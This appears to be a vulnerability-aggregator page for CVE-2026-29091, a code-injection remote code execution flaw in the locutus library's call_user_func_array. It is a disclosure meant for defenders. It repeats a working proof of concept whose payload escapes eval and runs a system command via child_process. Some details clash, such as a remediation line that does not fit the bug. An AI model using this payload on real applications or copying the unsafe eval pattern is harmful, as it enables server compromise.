CVE-2026-29091
Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.
- Record
CVE-2026-29091- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-95, CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-10051
8.1
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.
- Record
EUVD-2026-10051- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fp25-p6mj-qqg6
8.1
locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection
Details
A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().
Technical Details
The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).
The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
func = eval(cb[0] + "['" + cb[1] + "']")
}
PoC
This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.
const path = require("path");
const fs = require("fs");
const vulnFilePath = path.resolve(
__dirname,
"./src/php/funchand/call_user_func_array.js"
);
if (!fs.existsSync(vulnFilePath)) {
console.error("error target file not found");
process.exit(1);
}
console.log("loading target");
const call_user_func_array = require(vulnFilePath);
const payload = "']; require('child_process').execSync('id').toString().trim(); //";
console.log("payload set");
try {
console.log("run");
call_user_func_array(["Date", payload], []);
console.log("fail no error");
} catch (e) {
const msg = e.message;
if (msg && msg.includes("uid=")) {
console.log("pwn");
const proof = msg.split(" is not a valid function")[0];
console.log("out " + proof);
} else {
console.error("fail unexpected");
console.error(msg);
process.exit(1);
}
}
Impact
If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.
This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.
Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.
Remediation
Update the loop to capture the value correctly or use the index to reference the slice directly.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (typeof cb[0] === "string") {
if…
- Record
GHSA-fp25-p6mj-qqg6- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-95
- Updated
- 2026-11-02
NVD
8.1
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.
- Record
CVE-2026-29091- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-95, CWE-94
- Updated
- 2026-11-02
OSV
8.1
Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection
Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.
- Record
CVE-2026-29091- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-95
- Updated
- 2026-11-02
OSVGHSA-fp25-p6mj-qqg6
8.1
locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection
Details
A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().
Technical Details
The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).
The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
func = eval(cb[0] + "['" + cb[1] + "']")
}
PoC
This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.
const path = require("path");
const fs = require("fs");
const vulnFilePath = path.resolve(
__dirname,
"./src/php/funchand/call_user_func_array.js"
);
if (!fs.existsSync(vulnFilePath)) {
console.error("error target file not found");
process.exit(1);
}
console.log("loading target");
const call_user_func_array = require(vulnFilePath);
const payload = "']; require('child_process').execSync('id').toString().trim(); //";
console.log("payload set");
try {
console.log("run");
call_user_func_array(["Date", payload], []);
console.log("fail no error");
} catch (e) {
const msg = e.message;
if (msg && msg.includes("uid=")) {
console.log("pwn");
const proof = msg.split(" is not a valid function")[0];
console.log("out " + proof);
} else {
console.error("fail unexpected");
console.error(msg);
process.exit(1);
}
}
Impact
If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.
This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.
Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.
Remediation
Update the loop to capture the value correctly or use the index to reference the slice directly.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (typeof cb[0] === "string") {
if…
- Record
GHSA-fp25-p6mj-qqg6- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-95
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-29091 is a high vulnerability (CVSS 8.1) in Locutus, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.89%, the 59th percentile. Fixed in locutus 3.0.0.
References
github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6
github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad
access.redhat.com/security/cve/CVE-2026-29091
bugzilla.redhat.com/show_bug.cgi?id=2445262
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29091.json
developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Left out here: the rest of 2 source descriptions. The JSON record has them.